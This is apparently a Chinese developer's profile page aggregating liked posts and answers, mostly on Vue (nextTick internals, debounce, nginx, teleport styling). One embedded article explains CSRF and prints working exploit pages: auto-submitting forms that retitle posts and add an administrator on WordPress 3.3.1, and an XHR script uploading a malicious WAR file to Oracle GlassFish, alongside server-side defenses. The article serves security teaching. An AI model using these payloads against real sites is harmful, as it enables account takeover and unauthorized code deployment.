醉逍遥

醉逍遥 查看完整档案

杭州编辑  |  填写毕业院校  |  填写所在公司/组织 blog.csdn.net/u010059669 编辑
编辑

前端dog

个人动态

醉逍遥 赞了文章 · 3月11日

浅析Vue.nextTick()原理

1、为什么用Vue.nextTick()

首先来了解一下JS的运行机制。

JS运行机制(Event Loop)

JS执行是单线程的,它是基于事件循环的。

  1. 所有同步任务都在主线程上执行,形成一个执行栈。
  2. 主线程之外,会存在一个任务队列,只要异步任务有了结果,就在任务队列中放置一个事件。
  3. 当执行栈中的所有同步任务执行完后,就会读取任务队列。那些对应的异步任务,会结束等待状态,进入执行栈。
  4. 主线程不断重复第三步。

这里主线程的执行过程就是一个tick,而所有的异步结果都是通过任务队列来调度。Event Loop 分为宏任务和微任务,无论是执行宏任务还是微任务,完成后都会进入到一下tick并在两个tick之间进行UI渲染

由于Vue DOM更新是异步执行的,即修改数据时,视图不会立即更新,而是会监听数据变化,并缓存在同一事件循环中,等同一数据循环中的所有数据变化完成之后,再统一进行视图更新。为了确保得到更新后的DOM,所以设置了 Vue.nextTick()方法。

2、什么是Vue.nextTick()

是Vue的核心方法之一,官方文档解释如下:

在下次DOM更新循环结束之后执行延迟回调。在修改数据之后立即使用这个方法,获取更新后的DOM。
MutationObserver

先简单介绍下MutationObserver:MO是HTML5中的API,是一个用于监视DOM变动的接口,它可以监听一个DOM对象上发生的子节点删除、属性修改、文本内容修改等。

调用过程是要先给它绑定回调,得到MO实例,这个回调会在MO实例监听到变动时触发。这里MO的回调是放在microtask中执行的。

// 创建MO实例
const observer = new MutationObserver(callback)

const textNode = '想要监听的Don节点'

observer.observe(textNode, {
    characterData: true // 说明监听文本内容的修改
})
源码浅析

nextTick 的实现单独有一个JS文件来维护它,在src/core/util/next-tick.js中。

nextTick 源码主要分为两块:能力检测和根据能力检测以不同方式执行回调队列。

能力检测

由于宏任务耗费的时间是大于微任务的,所以在浏览器支持的情况下,优先使用微任务。如果浏览器不支持微任务,再使用宏任务。

// 空函数,可用作函数占位符
import { noop } from 'shared/util' 

 // 错误处理函数
import { handleError } from './error'

 // 是否是IE、IOS、内置函数
import { isIE, isIOS, isNative } from './env'

// 使用 MicroTask 的标识符,这里是因为火狐在<=53时 无法触发微任务,在modules/events.js文件中引用进行安全排除
export let isUsingMicroTask = false 

 // 用来存储所有需要执行的回调函数
const callbacks = []

// 用来标志是否正在执行回调函数
let pending = false 

// 对callbacks进行遍历,然后执行相应的回调函数
function flushCallbacks () {
    pending = false
    // 这里拷贝的原因是:
    // 有的cb 执行过程中又会往callbacks中加入内容
    // 比如 $nextTick的回调函数里还有$nextTick
    // 后者的应该放到下一轮的nextTick 中执行
    // 所以拷贝一份当前的,遍历执行完当前的即可,避免无休止的执行下去
    const copies = callbcks.slice(0)
    callbacks.length = 0
    for(let i = 0; i < copies.length; i++) {
        copies[i]()
    }
}

let timerFunc // 异步执行函数 用于异步延迟调用 flushCallbacks 函数

// 在2.5中,我们使用(宏)任务(与微任务结合使用)。
// 然而,当状态在重新绘制之前发生变化时,就会出现一些微妙的问题
// (例如#6813,out-in转换)。
// 同样,在事件处理程序中使用(宏)任务会导致一些奇怪的行为
// 因此,我们现在再次在任何地方使用微任务。
// 优先使用 Promise
if(typeof Promise !== 'undefined' && isNative(Promise)) {
    const p = Promise.resolve()
    timerFunc = () => {
        p.then(flushCallbacks)
        
        // IOS 的UIWebView, Promise.then 回调被推入 microTask 队列,但是队列可能不会如期执行
        // 因此,添加一个空计时器强制执行 microTask
        if(isIOS) setTimeout(noop)
    }
    isUsingMicroTask = true
} else if(!isIE && typeof MutationObserver !== 'undefined' && (isNative(MutationObserver) || MutationObserver.toString === '[object MutationObserverConstructor]')) {
    // 当 原生Promise 不可用时,使用 原生MutationObserver
    // e.g. PhantomJS, iOS7, Android 4.4
 
    let counter = 1
    // 创建MO实例,监听到DOM变动后会执行回调flushCallbacks
    const observer = new MutationObserver(flushCallbacks)
    const textNode = document.createTextNode(String(counter))
    observer.observe(textNode, {
        characterData: true // 设置true 表示观察目标的改变
    })
    
    // 每次执行timerFunc 都会让文本节点的内容在 0/1之间切换
    // 切换之后将新值复制到 MO 观测的文本节点上
    // 节点内容变化会触发回调
    timerFunc = () => {
        counter = (counter + 1) % 2
        textNode.data = String(counter) // 触发回调
    }
    isUsingMicroTask = true
} else if (typeof setImmediate !== 'undefined' && isNative(setImmediate)) {
    timerFunc = () => {
        setImmediate(flushCallbacks)
    }
} else {
    timerFunc = () => {
        setTimeout(flushCallbacks, 0)
    }
}

延迟调用优先级如下:
Promise > MutationObserver > setImmediate > setTimeout

export function nextTick(cb? Function, ctx: Object) {
    let _resolve
    // cb 回调函数会统一处理压入callbacks数组
    callbacks.push(() => {
        if(cb) {
            try {
                cb.call(ctx)
            } catch(e) {
                handleError(e, ctx, 'nextTick')
            }
        } else if (_resolve) {
            _resolve(ctx)
        }
    })
    
    // pending 为false 说明本轮事件循环中没有执行过timerFunc()
    if(!pending) {
        pending = true
        timerFunc()
    }
    
    // 当不传入 cb 参数时,提供一个promise化的调用 
    // 如nextTick().then(() => {})
    // 当_resolve执行时,就会跳转到then逻辑中
    if(!cb && typeof Promise !== 'undefined') {
        return new Promise(resolve => {
            _resolve = resolve
        })
    }
}

next-tick.js 对外暴露了nextTick这一个参数,所以每次调用Vue.nextTick时会执行:

  • 把传入的回调函数cb压入callbacks数组
  • 执行timerFunc函数,延迟调用 flushCallbacks 函数
  • 遍历执行 callbacks 数组中的所有函数

这里的 callbacks 没有直接在 nextTick 中执行回调函数的原因是保证在同一个 tick 内多次执行nextTick,不会开启多个异步任务,而是把这些异步任务都压成一个同步任务,在下一个 tick 执行完毕。

附加

noop 的定义如下

/**
 * Perform no operation.
 * Stubbing args to make Flow happy without leaving useless transpiled code
 * with ...rest (https://flow.org/blog/2017/05/07/Strict-Function-Call-Arity/).
 */
export function noop (a?: any, b?: any, c?: any) {}

3、怎么用

语法Vue.nextTick([callback, context])

参数

  • {Function} [callback]:回调函数,不传时提供promise调用
  • {Object} [context]:回调函数执行的上下文环境,不传默认是自动绑定到调用它的实例上。
//改变数据
vm.message = 'changed'

//想要立即使用更新后的DOM。这样不行,因为设置message后DOM还没有更新
console.log(vm.$el.textContent) // 并不会得到'changed'

//这样可以,nextTick里面的代码会在DOM更新后执行
Vue.nextTick(function(){
    // DOM 更新了
    //可以得到'changed'
    console.log(vm.$el.textContent)
})

// 作为一个 Promise 使用 即不传回调
Vue.nextTick()
  .then(function () {
    // DOM 更新了
  })

Vue实例方法vm.$nextTick做了进一步封装,把context参数设置成当前Vue实例。

4、小结

使用Vue.nextTick()是为了可以获取更新后的DOM 。
触发时机:在同一事件循环中的数据变化后,DOM完成更新,立即执行Vue.nextTick()的回调。

同一事件循环中的代码执行完毕 -> DOM 更新 -> nextTick callback触发

1596618069-5a5da8c8522c2_articlex

应用场景:

  • 在Vue生命周期的created()钩子函数进行的DOM操作一定要放在Vue.nextTick()的回调函数中。

    原因:是created()钩子函数执行时DOM其实并未进行渲染。

  • 在数据变化后要执行的某个操作,而这个操作需要使用随数据改变而改变的DOM结构的时候,这个操作应该放在Vue.nextTick()的回调函数中。

    原因:Vue异步执行DOM更新,只要观察到数据变化,Vue将开启一个队列,并缓冲在同一事件循环中发生的所有数据改变,如果同一个watcher被多次触发,只会被推入到队列中一次。

版本分析

2.6 版本优先使用 microtask 作为异步延迟包装器,且写法相对简单。而2.5 版本中,nextTick 的实现是 microTimerFunc、macroTimerFunc 组合实现的,延迟调用优先级是:Promise > setImmediate > MessageChannel > setTimeout,具体见源码。

2.5 版本在重绘之前状态改变时会有小问题(如 #6813)。此外,在事件处理程序中使用 macrotask 会导致一些无法规避的奇怪行为(如 #7109#7153等)。

microtask 在某些情况下也是会有问题的,因为 microtask 优先级比较高,事件会在顺序事件(如#4521#6690 有变通方法)之间甚至在同一事件的冒泡过程中触发(#6566)。

参考:

查看原文

赞 27 收藏 9 评论 0

醉逍遥 赞了文章 · 3月10日

CSRF 详解与攻防实战

本文从属于笔者的信息安全实战Web 渗透测试实战系列文章。建议先阅读下Martin Fowler的网络安全基础

Cross Site Request Forgery

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。CSRF与XSS在攻击手段上有点类似,都是在客户端执行恶意代码,有些文章中认为CSRF与XSS的区别在于CSRF不注重于获取用户Cookie,笔者认为可能还有区别在于CSRF不仅可以在源站发起攻击,还可以引导用户访问其他危险网站的同时发起攻击。XSS全程是跨站脚本攻击,即攻击者向某个Web页面中插入恶意的JavaScript脚本,而当普通用户访问时,该恶意脚本自动执行而从盗取用户的Cookie等信息。对于XSS的防御手段主要就是输入检查与输出检查,譬如对用户输入的文本框内容进行<、>这样的特殊字符检查。而输出检查则是指对于输出到网页的内容进行过滤或者编解码,譬如使用HTML编码将<转义。CSRF为跨站请求伪造,其与XSS有点类似,不过区别在于CSRF不一定依赖于JavaScript,并且不仅可以在源站发起攻击,还有可能当用户访问恶意网站时引导其访问原网站。CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。对于CSRF的防御也分为服务端防御与客户端防御两种,服务端防御典型的譬如给某个页面添加随机数,使得无法从第三方页面直接提交。在客户端防御的话可以利用譬如Firefox提供的一些检查工具。注意,CSRF并没有打破同源策略。

以下面的这个例子来说:银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000危险网站B,它里面有一段HTML的代码如下:

<img data-original=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方 式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的 Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfe... money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作。参考深入解析跨站请求伪造漏洞:原理剖析(中所述,XSS与CSRF的区别在于:

  • XSS攻击需要JavaScript,而CSRF攻击不需要。

  • XSS攻击要求站点接受恶意代码,而对于CSRF攻击来说,恶意代码位于第三方站点上。过滤用户的输入可以防止恶意代码注入到某个站点,但是它无阻止法恶意代码在第三方站点上运行。

原因浅析

CSRF攻击是源于WEB的隐式身份验证机制,WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。假设Alice访问了一个恶意站点M,该站点提供的内容中的JavaScript代码或者图像标签会导致Alice的浏览器向站点T发送一个HTTP请 求。由于该请求是发给站点T的,所以Alice的浏览器自动地给该请求附上与站点T对应的该会话cookie的sid。站点T看到该请求时,它就能通过该 cookie的推断出:该请求来自Alice,所以站点T就会对Alice的帐户执行所请求的操作。这样,CSRF攻击就能得逞了。其他大多数Web认证机制也面临同样的问题。例如,HTTP BasicAuth机制会要求Alice告诉浏览器她在站点T上的用户名和口令,于是浏览器将用户名和口令附加到之后发给站点T的请求中。当然,站点T也 可能使用客户端SSL证书,但这也面临同样的问题,因为浏览器也会将证书附加到发给站点T的请求中。类似的,如果站点T通过IP地址来验证Alice的身 份的话,照样面临CSRF攻击的威胁。
总之,只要身份认证是隐式进行的,就会存在CSRF攻击的危险,因为浏览器发出请求这一动作未必是受用户的指使。原则上,这种威胁可以通过对每个发送至该 站点的请求都要求用户进行显式的、不可欺骗的动作(诸如重新输入用户名和口令)来消除,但实际上这会导致严重的易用性问题。大部分标准和广泛应用的认证机 制都无法防止CSRF攻击,所以我们只好另外探求一个实用的解决方案。

Reference

Exploits

本部分我们来看几个基于CSRF攻击的实例,包括简单的基于表单POST请求的攻击 ,其可以诱导用户点击.submit() 按钮既可以发起攻击。其他的还有稍微复杂一点的跨域文件上传CSRF攻击 ,其主要使用了 CORS use of the xhr.withCredentals behavior

Wordpress 3.3.1 Multiple CSRF Vulnerabilities

该漏洞是由Ivano Binetti在2012年3月19号发现的,影响了WordPress 3.3.1版本 ,CVE编号CVE-2012-1936。WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:

  • Add Admin/User

  • Delete Admin/User

  • Approve comment

  • Unapprove comment

  • Delete comment

  • Change background image

  • Insert custom header image

  • Change site title

  • Change administrator's email

  • Change Wordpress Address

  • Change Site Address

那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,核心的Exploit代码为:

 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to change post title</H2>
 <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/admin-ajax.php">
 <input type="hidden" name="post_title" value="hackedtitle"/>
 <input type="hidden" name="post_name" value="hackedtitle"/>
 <input type="hidden" name="mm" value="03"/>
 <input type="hidden" name="jj" value="16"/>
 <input type="hidden" name="aa" value="2012"/>
 <input type="hidden" name="hh" value=""/>
 <input type="hidden" name="mn" value=""/>
 <input type="hidden" name="ss" value=""/>
 <input type="hidden" name="post_author" value="1"/>
 <input type="hidden" name="post_password" value=""/>
 <input type="hidden" name="post_category%5B%5D" value="0"/>
 <input type="hidden" name="post_category%5B%5D" value="1"/>
 <input type="hidden" name="tax_input%5Bpost_tag%5D" value=""/>
 <input type="hidden" name="comment_status" value="open"/>
 <input type="hidden" name="ping_status" value="open"/>
 <input type="hidden" name="_status" value="publish"/>
 <input type="hidden" name="post_format" value="0"/>
 <input type="hidden" name="_inline_edit" value="<sniffed_value>"/>
 <input type="hidden" name="post_view" value="list"/>
 <input type="hidden" name="screen" value="edit-post"/>
 <input type="hidden" name="action" value="inline-save"/>
 <input type="hidden" name="post_type" value="post"/>
 <input type="hidden" name="post_ID" value="1"/>
 <input type="hidden" name="edit_date" value="true"/>
 <input type="hidden" name="post_status" value="all"/>
 </form>
 </body>
 </html>

另一个测试用例时添加某个具有管理员权限的用户,测试用例为:

 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to add Administrator</H2>
 <form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php">
 <input type="hidden" name="action" value="createuser"/>
 <input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/>
 <input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/>
 <input type="hidden" name="user_login" value="admin2"/>
 <input type="hidden" name="email" value="admin2@admin.com"/>
 <input type="hidden" name="first_name" value="admin2@admin.com"/>
 <input type="hidden" name="last_name" value=""/>
 <input type="hidden" name="url" value=""/>
 <input type="hidden" name="pass1" value="password"/>
 <input type="hidden" name="pass2" value="password"/>
 <input type="hidden" name="role" value="administrator"/>
 <input type="hidden" name="createuser" value="Add+New+User+"/>
 </form>
 </body>
 </html>

Oracle GlassFish Server - REST Cross-Site Request Forgery

该漏洞是由Security-Assessment.com发现的,Oracle GlassFish服务器的REST接口可以被CSRF请求攻击,譬如其可以允许普通用户任意上传WAR包,并且可以控制在服务端运行从而导致窃取其他运行应用的信息。关于具体的攻击复盘可以参考这里。其攻击手段是首先在钓鱼站点上设置如下按钮:

<button id="upload" onclick="start()" type="button">Upload WAR Archive</button> 

然后添加如下脚本:

var logUrl = 'http://glassfishserver/management/domain/applications/application'; 
   
function fileUpload(fileData, fileName) { 
    var fileSize = fileData.length, 
      boundary = "---------------------------270883142628617", 
      uri = logUrl, 
      xhr = new XMLHttpRequest(); 
   
    var additionalFields = { 
          asyncreplication: "true", 
          availabilityenabled: "false", 
          contextroot: "", 
        createtables: "true", 
        dbvendorname: "", 
        deploymentplan: "", 
        description: "", 
        dropandcreatetables: "true", 
        enabled: "true", 
        force: "false", 
        generatermistubs: "false", 
        isredeploy: "false", 
        keepfailedstubs: "false", 
        keepreposdir: "false", 
        keepstate: "true", 
        lbenabled: "true", 
        libraries: "", 
        logReportedErrors: "true", 
        name: "", 
        precompilejsp: "false", 
        properties: "", 
        property: "", 
        retrieve: "", 
        target: "", 
        type: "", 
        uniquetablenames: "true", 
        verify: "false", 
        virtualservers: "", 
        __remove_empty_entries__: "true" 
           
    } 
       
    if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4 
    var tmp = ''; 
    for (var i = 0; i < fileData.length; i++) tmp += 
String.fromCharCode(fileData.charCodeAt(i) & 0xff); 
    fileData = tmp; 
  } 
  else { // Chrome 9 
    // http://javascript0.org/wiki/Portable_sendAsBinary 
    XMLHttpRequest.prototype.sendAsBinary = function(text){ 
      var data = new ArrayBuffer(text.length); 
      var ui8a = new Uint8Array(data, 0); 
      for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); 
   
      var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)(); 
   
      bb.append(data); 
      var blob = bb.getBlob(); 
      this.send(blob); 
     
    } 
  } 
    var fileFieldName = "id"; 
    xhr.open("POST", uri, true); 
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); // simulate a 
file MIME POST request. 
    xhr.setRequestHeader("Content-Length", fileSize); 
    xhr.withCredentials = "true"; 
    xhr.onreadystatechange = function() { 
      if (xhr.readyState == 4) { 
        if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) { 
             
          if (xhr.responseText != "") { 
            alert(JSON.parse(xhr.responseText).msg);  
          } 
        } else if (xhr.status == 0) { 
             
        } 
      } 
    } 
       
    var body = ""; 
       
    for (var i in additionalFields) { 
      if (additionalFields.hasOwnProperty(i)) { 
        body += addField(i, additionalFields[i], boundary); 
      } 
    } 
   
    body += addFileField(fileFieldName, fileData, fileName, boundary); 
    body += "--" + boundary + "--"; 
    xhr.sendAsBinary(body); 
    return true; 
} 
   
function addField(name, value, boundary) { 
  var c = "--" + boundary + "\r\n" 
  c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n'; 
  c += value + "\r\n"; 
  return c; 
} 
   
function addFileField(name, value, filename, boundary) { 
    var c = "--" + boundary + "\r\n" 
    c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; 
    c += "Content-Type: application/octet-stream\r\n\r\n"; 
    c += value + "\r\n"; 
    return c;   
} 
   
function getBinary(file){ 
  var xhr = new XMLHttpRequest();   
  xhr.open("GET", file, false);   
  xhr.overrideMimeType("text/plain; charset=x-user-defined");   
  xhr.send(null); 
  return xhr.responseText; 
} 
   
function readBinary(data) { 
   
var tmp = ''; 
    for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) & 
0xff); 
    data = tmp; 
    return tmp; 
    } 
   
function start() { 
  var c = getBinary('maliciousarchive.war'); 
  fileUpload(c, "maliciousarchive.war"); 
     
} 

防御

服务端防御

遵循标准的GET动作

只允许GET请求检索数据,但是不允许它修改服务器上的任何数据。这个修改可以防止利用{img}标签或者其它的类型的GET请求的CSRF攻击。另外,这个建议遵循RFC 2616(HTTP/1.1):具体说来,按照约定,GET和HEAD方法不应该进行检索之外的动作。这些方法应该被认为是“安全的”。虽然这个保护措施无法阻止CSRF本身,因 为攻击者可以使用POST请求,但是它却可以与(2)结合来全面防止CSRF漏洞。这里,我们假定对手无法修改用户的cookie。

为页面增加随机数

当用户访问站点时,该站点应该生成一个(密码上很强壮的)伪随机值,并在用户的计算机上将其设为cookie。站点应该要求每个表单都包含该伪随机 值(作为表单值和cookie值)。当一个POST请求被发给站点时,只有表单值和cookie值相同时,该请求才会被认为是有效的。当攻击者以一个用户的名义提交表单时,他只能修改该表单的值。攻击者不能读取任何发自该服务器的数据或者修改cookie值,这是同源策略的缘故。 这意味着,虽然攻击者可以用表单发送任何他想要的值,但是他却不能修改或者读取存储在该cookie中的值。因为cookie值和表单值必须是相同的,所 以除非攻击者能猜出该伪随机值,否则他就无法成功地提交表单。
以PHP为例,我们可以在服务端首先生成随机数:

 <?php
    //构造加密的Cookie信息
    $value = “DefenseSCRF”;
    setcookie(”cookie”, $value, time()+3600);
  ?>

在表单里增加Hash值,以认证这确实是用户发送的请求。

<?php
    $hash = md5($_COOKIE['cookie']);
  ?>
  <form method=”POST” action=”transfer.php”>
    <input type=”text” name=”toBankId”>
    <input type=”text” name=”money”>
    <input type=”hidden” name=”hash” value=”<?=$hash;?>”>
    <input type=”submit” name=”submit” value=”Submit”>
  </form>

然后在服务器端进行Hash值验证:

      <?php
        if(isset($_POST['check'])) {
             $hash = md5($_COOKIE['cookie']);
             if($_POST['check'] == $hash) {
                  doJob();
             } else {
        //...
             }
        } else {
      //...
        }
      ?>

当然,我们也可以强制要求用户进行任何增删改的操作时都需要输入验证码,即进行用户交互,不过这样也就意味着很差的用户体验。

客户端防御

由于使攻击者成功地执行CSRF攻击的请求是由浏览器发出的,所以可以创建客户端工具来保护用户不受此种攻击。现有的工具RequestRodeo 通过在客户和服务器之间充当代理来防止CSRF攻击。如果RequestRodeo发现了一个它认为是非法的请求,它会从该请求剥离验证信息。虽然这种方 式在很多情况下都能有效,但是它具有一些局限性。具体地说,当客户端使用了SSL认证或者使用JavaScript生成部分页面(因为 RequestRodeo分析的是在浏览器显示之前的流经代理的那些数据)时,它就不起作用了。 人们已经开发了一个浏览器插件,不仅可以使用户可以免受某些类型的CSRF攻击,并且还能克服以上所述的局限性,这个工具是作为Firefox浏览器的扩 展实现的,其地址是http://www.cs.princeton.edu/˜wzeller/csrf/protector/。 为了有效地防范CSRF攻击,用户需要下载安装这个扩展。该扩展会拦截所有的HTTP请求,并判断是否允许该HTTP请求。这个判断要用到下列规则。首 先,POST请求之外的任何要求都是允许的。第二,如果发出请求的站点和目标站点符合同源策略的要求,那么该请求被允许。第三,如果发出请求的站点被允许 使用Adobe的跨域政策来建立一个请求的话,那么该请求也会被允许。如果我们的扩展拒绝一个请求,该扩展会通过一个常见的界面来提示用户(即 Firefox所使用的popup blocker)该请求已经被阻止,并且让用户选择是否将站点添加到一个白名单中。
该扩展仅仅拦截POST请求。这意味着,它无法保护用户免受使用GET请求的CSRF攻击 阻止这种类型的攻击的唯一方法是不允许任何跨域GET请求,或只允许用户一次只能登录到一个站点,但是这两个限制可能是用户无法忍受的。

查看原文

赞 5 收藏 19 评论 4

醉逍遥 赞了回答 · 3月5日

vue,非按钮,如何禁止快速的重复点击事件在短时间内多次请求接口导致bug?

设置个开关呗

likeOrCancelLike() {
    if(this.lock) return 
    this.lock = true
    axios.post().then(res => {
        this.lock = false
    })
}

关注 7 回答 6

醉逍遥 回答了问题 · 3月5日

关于VUE3.0项目打包后部署Nginx服务器报错 Unexpected token '<'

你是把项目放在了服务器根目录下的hismgr文件夹下了吧,
还使用了路由history模式吧,
那么nginx里也应该指定到hismgr目录下的index.html:

locaiton / {
  try_files $uri $uri/ /hismgr/index.html;
}

关注 3 回答 3

醉逍遥 赞了回答 · 3月5日

解决关于防抖节流里面的this指向问题

因为如果不绑定 this,会出现典型的 this 丢失的情况。
从这个 debounce 的代码看,它的功能是通过传入一个 fn,得到这个 fn 的延迟执行版本,方便后续调用。
所以,可以假设一下用例:

let test = { name: 'testThis' };

test.debounceFn = debounce(function () {
    console.log("for test: ", this.name);
});

test.debounceFn();

如果用 apply 绑定了 this,运行结果是: for test: testThis
如果未绑定,运行结果是:for test: undefined
这是因为 test.debounceFn() 的 this 指向是这个 test 对象。但是 debounceFn 方法中的 fn 方法,作为参数传入 setTimeout 后,是独立运行的,this 指向丢失。
这里是通过 test.debounceFn -> 箭头函数 -> fn.apply 一步步把 test 对象作为 this 值绑定给了 fn。

关注 3 回答 2

醉逍遥 赞了回答 · 3月5日

解决【求助】v-for遍历li出现第二行第一个不能顶头显示,然而第三行又可以

image.png
应该是div的高度有超出导致的。样式问题

关注 2 回答 1

醉逍遥 赞了回答 · 1月27日

关于 API 的一个问题,不知道是我的想法错了,还是服务端的想法错了?

这个正常是前后端商量的,给出合适的数据,前后端都不宜有太大的计算量,你们这个后端有点推卸责任了

关注 8 回答 8

醉逍遥 回答了问题 · 1月27日

pc端,设计尺寸是1440,背景横向铺满,如何保持在窗口放大缩小时,与其它div的垂直距离不变,如下图

适配所有分辨率,图片宽度要铺满100%,还不能变形,这是不可能的

关注 3 回答 3

醉逍遥 回答了问题 · 1月14日

解决vue 3.0 子组件使用了 teleport 标签,父组件使用 deep 样式穿透不生效

自问自答吧,封装个disabled属性差不多就够用了

image.png

关注 1 回答 1

醉逍遥 提出了问题 · 1月8日

解决vue 3.0 子组件使用了 teleport 标签,父组件使用 deep 样式穿透不生效

子组件:

<template>
  <teleport to="body">
    <div>
      <h4>示例</h4>
    </div>
  </teleport>
</template>

父组件:

<style lang="less" scoped>
:deep(h4) {
  color: red !important;
}
</style>

组件封装过程中突然发现的这个问题,请问有什么比较好的解决方法?

具体场景:子组件是弹窗基础公共组件,所以封装使用了teleport标签,默认to指向body,在父组件引用时有时会有微调内部样式的需求。

关注 1 回答 1

认证与成就

  • 获得 24 次点赞
  • 获得 6 枚徽章 获得 0 枚金徽章, 获得 0 枚银徽章, 获得 6 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2018-10-15
个人主页被 806 人浏览